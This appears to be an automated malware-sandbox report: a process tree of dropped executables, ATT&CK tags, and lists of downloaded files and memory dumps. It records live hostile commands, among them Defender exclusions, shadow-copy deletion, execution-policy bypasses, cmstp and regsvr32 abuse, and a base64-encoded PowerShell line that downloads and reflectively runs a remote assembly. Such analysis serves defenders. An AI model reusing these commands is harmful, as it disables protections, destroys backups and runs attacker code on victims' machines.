C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exe"C:\Users\Admin\AppData\Local\Temp\a\H5ZDZnmKtSuIn1f.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\idiotropicEk4.exeidiotropicEk4.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.execaKQ8MKaahzyEGL.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.exe"C:\Users\Admin\AppData\Local\Temp\a\caKQ8MKaahzyEGL.exe"4⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File sd4.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File sd2.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exeXPQeEQubuBaya8g.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exe"C:\Users\Admin\AppData\Local\Temp\a\XPQeEQubuBaya8g.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\lumma.exelumma.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Muncerian.exeMuncerian.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exeXaUfT3G.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\NLxHm2QLwG0rMot.exeNLxHm2QLwG0rMot.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11768 -s 12684⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\megago.exemegago.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Add-MpPreference -ExclusionPath "C:\Windows\system32\HealthSystem.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\KRsU1apIYGkYET9.exeKRsU1apIYGkYET9.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\KRsU1apIYGkYET9.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\KRsU1apIYGkYET9.exe"C:\Users\Admin\AppData\Local\Temp\a\KRsU1apIYGkYET9.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\KRsU1apIYGkYET9.exe"C:\Users\Admin\AppData\Local\Temp\a\KRsU1apIYGkYET9.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exeIEYKxpnUH9R9m17.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exe"C:\Users\Admin\AppData\Local\Temp\a\IEYKxpnUH9R9m17.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Ransomware.exeRansomware.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet4⤵
-
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\vq7qNSPpTLL2NJm.exevq7qNSPpTLL2NJm.exe3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\a\vq7qNSPpTLL2NJm.exe"4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\vq7qNSPpTLL2NJm.exe"C:\Users\Admin\AppData\Local\Temp\a\vq7qNSPpTLL2NJm.exe"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe wp.vbs3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\check.execheck.exe3⤵
-
C:\Program Files (x86)\Common Files\Loli.exe"C:\Program Files (x86)\Common Files\Loli.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\JAMMX4im1BtsCSq.exeJAMMX4im1BtsCSq.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12072 -s 10644⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tmp53.exetmp53.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\fiovj.exefiovj.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\vioc.exevioc.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\z.exez.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\zuico.exezuico.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i I82fNYv.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\ac4601204d87420b972a82e811cfc373_bound_build.exeac4601204d87420b972a82e811cfc373_bound_build.exe3⤵
-
C:\Users\Admin\AppData\Local\hxvmzyykicyar\suojvxupzzfcbxk.exe"C:\Users\Admin\AppData\Local\hxvmzyykicyar\suojvxupzzfcbxk.exe"4⤵
-
C:\Users\Admin\AppData\Local\migcu\nbgtpasrg.exe"C:\Users\Admin\AppData\Local\migcu\nbgtpasrg.exe"5⤵
-
-
-
C:\Users\Admin\AppData\Local\hxvmzyykicyar\qlofaswqdcxawzbjs.exe"C:\Users\Admin\AppData\Local\hxvmzyykicyar\qlofaswqdcxawzbjs.exe"4⤵
-
C:\Users\Admin\AppData\Local\jsov\nbgtpasrg.exe"C:\Users\Admin\AppData\Local\jsov\nbgtpasrg.exe"5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\Admin\AppData\Local\oxdmo\dadaasads_new.ps1"6⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Users\Admin\AppData\Local\Microsoft38333\AppInstaller.exe"C:\Users\Admin\AppData\Local\Microsoft38333\AppInstaller.exe" "C:\Users\Admin\AppData\Local\Update75081\FolderBP.exe"7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&18⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F9⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&18⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F9⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Microsoft38333\AppInstaller.exe"C:\Users\Admin\AppData\Local\Microsoft38333\AppInstaller.exe" "C:\Users\Admin\AppData\Local\npUpdater\core.exe"7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&18⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F9⤵
- Kills process with taskkill
-
-
-
C:\Windows\SYSTEM32\cmstp.execmstp.exe /au "C:\Users\Admin\AppData\Local\Temp\cmstp.inf"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /IM cmstp.exe /F >nul 2>&18⤵
-
C:\Windows\system32\taskkill.exetaskkill /IM cmstp.exe /F9⤵
- Kills process with taskkill
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\a.exea.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\VaOMtun.exeVaOMtun.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\8cIugjZ.exe8cIugjZ.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\svchost015.exe8cIugjZ.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\deluxe_crypted.exedeluxe_crypted.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Updatex.exeUpdatex.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\d88nzn5YHEHMocs.exed88nzn5YHEHMocs.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12420 -s 8044⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 12420 -s 8044⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Client-built.exeClient-built.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ouQ3iyK.exeouQ3iyK.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\wpnAjnT.exewpnAjnT.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Renewable.exeRenewable.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\84hginT.exe84hginT.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\FPKRaHZ.exeFPKRaHZ.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i V9Aq0Oo.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\pOyfDXM.exepOyfDXM.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\nNM31RQ.exenNM31RQ.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T3HNO.tmp\nNM31RQ.tmp"C:\Users\Admin\AppData\Local\Temp\is-T3HNO.tmp\nNM31RQ.tmp" /SL5="$10526,3425090,54272,C:\Users\Admin\AppData\Local\Temp\a\nNM31RQ.exe"4⤵
-
C:\Users\Admin\AppData\Local\Hide Show My Files 1.0.3.4403\hideshowmyfiles.exe"C:\Users\Admin\AppData\Local\Hide Show My Files 1.0.3.4403\hideshowmyfiles.exe" -i5⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5636 -s 5406⤵
- Program crash
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\c.exec.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-C09QR.tmp\c.tmp"C:\Users\Admin\AppData\Local\Temp\is-C09QR.tmp\c.tmp" /SL5="$6023E,2132184,787968,C:\Users\Admin\AppData\Local\Temp\a\c.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\a\c.exe"C:\Users\Admin\AppData\Local\Temp\a\c.exe" /VERYSILENT /PASSWORD=16c74e87-fcc7-46b8-93e0-3b1ebc601a935⤵
-
C:\Users\Admin\AppData\Local\Temp\is-14MTT.tmp\c.tmp"C:\Users\Admin\AppData\Local\Temp\is-14MTT.tmp\c.tmp" /SL5="$C026C,2132184,787968,C:\Users\Admin\AppData\Local\Temp\a\c.exe" /VERYSILENT /PASSWORD=16c74e87-fcc7-46b8-93e0-3b1ebc601a936⤵
-
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\system32\regsvr32.exe" /s /i "C:\Users\Admin\SteelBlue9.dat"7⤵
-
C:\Windows\system32\regsvr32.exe/s /i "C:\Users\Admin\SteelBlue9.dat"8⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\reverse-ssh-windows-amd64.exereverse-ssh-windows-amd64.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cyanidation.execyanidation.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CIA6QQU.exeCIA6QQU.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\nfEYuOz.exenfEYuOz.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\QBSTGxG.exeQBSTGxG.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\filed.exefiled.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\random.exerandom.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\chr.exechr.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File dadaasads_new.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Users\Admin\AppData\Local\Temp\a\fd6ObfS.exefd6ObfS.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\FullCarrierPacket.exeFullCarrierPacket.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe shimFRIDAY.vbs3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 123.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File paste.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im dsm.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im dsm.exe5⤵
- Kills process with taskkill
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im userinit.exe4⤵
-
C:\Windows\system32\taskkill.exetaskkill /f /im userinit.exe5⤵
- Kills process with taskkill
-
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe sample.hta3⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\F009D38C0260476522507\System.exe1⤵
-
C:\Users\Admin\AppData\Roaming\F009D38C0260476522507\System.exeC:\Users\Admin\AppData\Roaming\F009D38C0260476522507\System.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 12420 -ip 124201⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 12348 -ip 123481⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 12072 -ip 120721⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 720 -p 12432 -ip 124321⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 9128 -ip 91281⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 740 -p 8812 -ip 88121⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9D4334874F3E19894979A11FCC49F689 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 98F8CF2AA4602C4E620411B1C2DC4526 C2⤵
-
-
C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wscript.exe "C:\ProgramData\System.vbs"1⤵
-
C:\Windows\system32\wscript.exewscript.exe "C:\ProgramData\System.vbs"2⤵
-
-
C:\Windows\system32\openwith.exe"C:\Windows\system32\openwith.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 10840 -ip 108401⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 852 -ip 8521⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 588 -p 5636 -ip 56361⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('JHdjID0gTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyAkd2MuRW5jb2RpbmcgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4OyAkbnVsbCA9ICgkd2MuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vYXJjaGl2ZS5vcmcvZG93bmxvYWQvb3B0aW1pemVkX21zaV8yMDI1MDkwNC9vcHRpbWl6ZWRfTVNJLnBuZycpIC1tYXRjaCAnQmFzZVN0YXJ0LSguKj8pLUJhc2VFbmQnKTskdmFsb3IgPSAkbWF0Y2hlc1sxXTskYXNzZW1ibHkgPSBbUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCR2YWxvcikpOyRvbGluaWEgPSAnPT1BZDRSbkxIbDBSSmRVU0hsMFJKSlVUTlYwTDNJak11a2pOdUVUTnk0aU41RXpMdm9EYzBSSGEnOyR0eXBlID0gJGFzc2VtYmx5LkdldFR5cGUoJ0NsYXNzTGlicmFyeTEuSG9tZScpOyRtZXRob2QgPSAkdHlwZS5HZXRNZXRob2QoJ1ZBSScpOyRtZXRob2QuSW52b2tlKCRudWxsLCBbb2JqZWN0W11dQCgkb2xpbmlhLCcnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ0luc3RhbGxVdGlsJywnJywnSW5zdGFsbFV0aWwnLCcnLCdVUkwnLCdDOlxVc2Vyc1xQdWJsaWNcRG93bmxvYWRzXCcsJ05hbWVfRmlsZScsJ3ZicycsJzEnLCcnLCdUYXNrX05hbWUnLCcwJywnc3RhcnR1cF9vbnN0YXJ0JykpOw==')) | Invoke-Expression"1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"2⤵
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\VioletClient3335.exe1⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335.exeC:\Users\Admin\AppData\Roaming\VioletClient3335.exe2⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\VioletClient.exe1⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient.exeC:\Users\Admin\AppData\Roaming\VioletClient.exe2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 644 -p 11768 -ip 117681⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exeC:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe2⤵
-
C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"C:\Users\Admin\AppData\Local\Temp\a\XaUfT3G.exe"3⤵
-
-
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient3335.exeC:\Users\Admin\AppData\Roaming\VioletClient3335.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\b52c5c03cb\burun.exeC:\Users\Admin\AppData\Local\Temp\b52c5c03cb\burun.exe1⤵
-
C:\Users\Admin\AppData\Roaming\VioletClient.exeC:\Users\Admin\AppData\Roaming\VioletClient.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 9616 -ip 96161⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\ProgramData\caadfccbeadcdaadc.exe"1⤵
-
C:\ProgramData\caadfccbeadcdaadc.exeC:\ProgramData\caadfccbeadcdaadc.exe2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\D509.tmp.exeC:\Users\Admin\AppData\Local\Temp\D509.tmp.exe1⤵
-
C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Windows Management Instrumentation
1Persistence
Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Indicator Removal
2File Deletion
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
Loading Replay Monitor...
Downloads
Loli.exe
7cvmznhXSSxx.exe
JjgTQIxiRpRP.exe
AppInstaller.exe
IEYKxpnUH9R9m17.exe.log
metadata
ee4f207a-61f0-4f00-8fba-837bfc063319.dmp
63c7147f4e954226ae1dfdbb35eea44d_build[1].bin
dadaasads_new[1].ps1
801b0b4d118a4c0a8c4523e7805f5227_crypted_build[1].exe
service[1].htm
ModuleAnalysisCache
Outputunkmwn_protected.exe
CURRENT
MANIFEST-000001
data_0
data_1
data_2
data_3
IRS_Audit_Guide.bat
D509.tmp.exe
JjcHfaUUZlGD9WZK9hIp151dVLmU7jN.tmp
MSI3B6A.tmp
Snapchat Installer.exe
Tmp2E69.tmp
VCRUNTIME140.dll
_asyncio.pyd
_bz2.pyd
_cffi_backend.cp313-win_amd64.pyd
_ctypes.pyd
_decimal.pyd
_hashlib.pyd
_lzma.pyd
api-ms-win-core-console-l1-1-0.dll
api-ms-win-core-datetime-l1-1-0.dll
api-ms-win-core-debug-l1-1-0.dll
api-ms-win-core-errorhandling-l1-1-0.dll
api-ms-win-core-fibers-l1-1-0.dll
api-ms-win-core-file-l1-1-0.dll
api-ms-win-core-file-l1-2-0.dll
api-ms-win-core-file-l2-1-0.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-heap-l1-1-0.dll
api-ms-win-core-interlocked-l1-1-0.dll
api-ms-win-core-libraryloader-l1-1-0.dll
api-ms-win-core-localization-l1-2-0.dll
api-ms-win-core-memory-l1-1-0.dll
api-ms-win-core-namedpipe-l1-1-0.dll
api-ms-win-core-processenvironment-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-0.dll
api-ms-win-core-processthreads-l1-1-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-rtlsupport-l1-1-0.dll
api-ms-win-core-string-l1-1-0.dll
api-ms-win-core-synch-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-sysinfo-l1-1-0.dll
api-ms-win-core-timezone-l1-1-0.dll
api-ms-win-core-util-l1-1-0.dll
api-ms-win-crt-conio-l1-1-0.dll
api-ms-win-crt-convert-l1-1-0.dll
api-ms-win-crt-environment-l1-1-0.dll
api-ms-win-crt-filesystem-l1-1-0.dll
api-ms-win-crt-heap-l1-1-0.dll
api-ms-win-crt-locale-l1-1-0.dll
api-ms-win-crt-math-l1-1-0.dll
api-ms-win-crt-process-l1-1-0.dll
api-ms-win-crt-runtime-l1-1-0.dll
api-ms-win-crt-stdio-l1-1-0.dll
api-ms-win-crt-string-l1-1-0.dll
api-ms-win-crt-time-l1-1-0.dll
api-ms-win-crt-utility-l1-1-0.dll
base_library.zip
libcrypto-3.dll
libffi-8.dll
libssl-3.dll
pyexpat.pyd
python3.dll
python313.dll
select.pyd
ucrtbase.dll
unicodedata.pyd
__PSScriptPolicyTest_aqlishvu.v4i.ps1
02.08.2022.exe
02.08.2022.exe
TempSpoofer.exe
XClient.exe
a.exe
d2a3db0fe2ac476e8ca876f8c23ba92f_miner.exe
temp.log
burun.exe
_iscrypt.dll
settings.dat
index
Local State
Local State
Local State~RFe59eb12.TMP
VioletClient.exe
VioletClient3335.exe
Winrar64.exe
background.exe
oyyI06wGPy2o.exe
System.exe
JoLhhrFiG.exe
0f5007522459c86e95ffcc62f32308f1_c37aa43d-7f27-40cc-b14e-071a1dcdaa5d
590aee7bdd69b59b.customDestinations-ms
LoginData
WebData
WebData
STPWlPUEAbN.exe
VioletClient3335_protected.exe
iHhllRy.exe
BackupResize.html
6uuvZCoFN9X3.exe
NWYe2M7uwsj0.exe
cache.txt
memory/1236-899-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/1236-1031-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/1236-1266-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/1236-785-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/1236-930-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/1236-1153-0x0000000000400000-0x00000000004FE000-memory.dmp
memory/1632-1721-0x00000000008E0000-0x0000000000A86000-memory.dmp
memory/1636-515-0x000002841EF50000-0x000002841F112000-memory.dmp
memory/1636-269-0x00000284043C0000-0x00000284043E2000-memory.dmp
memory/2040-157-0x000001CAD0A10000-0x000001CAD0A42000-memory.dmp
memory/2156-918-0x0000000000400000-0x000000000040D000-memory.dmp
memory/2156-1318-0x0000000000400000-0x000000000040D000-memory.dmp
memory/2820-265-0x0000000000370000-0x0000000000380000-memory.dmp
memory/2856-500-0x000001D4BD2E0000-0x000001D4BD2EE000-memory.dmp
memory/3108-219-0x0000000000120000-0x0000000000196000-memory.dmp
memory/3548-246-0x00000000096E0000-0x0000000009718000-memory.dmp
memory/3548-186-0x0000000008520000-0x0000000008553000-memory.dmp
memory/3548-452-0x0000000001510000-0x0000000001511000-memory.dmp
memory/3548-194-0x0000000008560000-0x0000000008598000-memory.dmp
memory/3548-191-0x0000000008560000-0x0000000008598000-memory.dmp
memory/3548-1295-0x00000000034F0000-0x00000000034F9000-memory.dmp
memory/3548-255-0x00000000096E0000-0x0000000009718000-memory.dmp
memory/3568-180-0x00000000004F0000-0x0000000000522000-memory.dmp
memory/3568-190-0x0000000000BE0000-0x0000000000BE6000-memory.dmp
memory/3568-181-0x0000000000BB0000-0x0000000000BE0000-memory.dmp
memory/3780-496-0x0000000070180000-0x000000007022A000-memory.dmp
memory/4484-941-0x00000000031C0000-0x00000000035C0000-memory.dmp
memory/4484-957-0x00000000017B0000-0x0000000001846000-memory.dmp
memory/4484-835-0x00000000017B0000-0x0000000001846000-memory.dmp
memory/4568-148-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-138-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-140-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-139-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-150-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-146-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-145-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-147-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-149-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4568-144-0x000002318FF10000-0x000002318FF11000-memory.dmp
memory/4660-1728-0x0000000000850000-0x00000000009C0000-memory.dmp
memory/4872-891-0x0000000000E40000-0x0000000000EC6000-memory.dmp
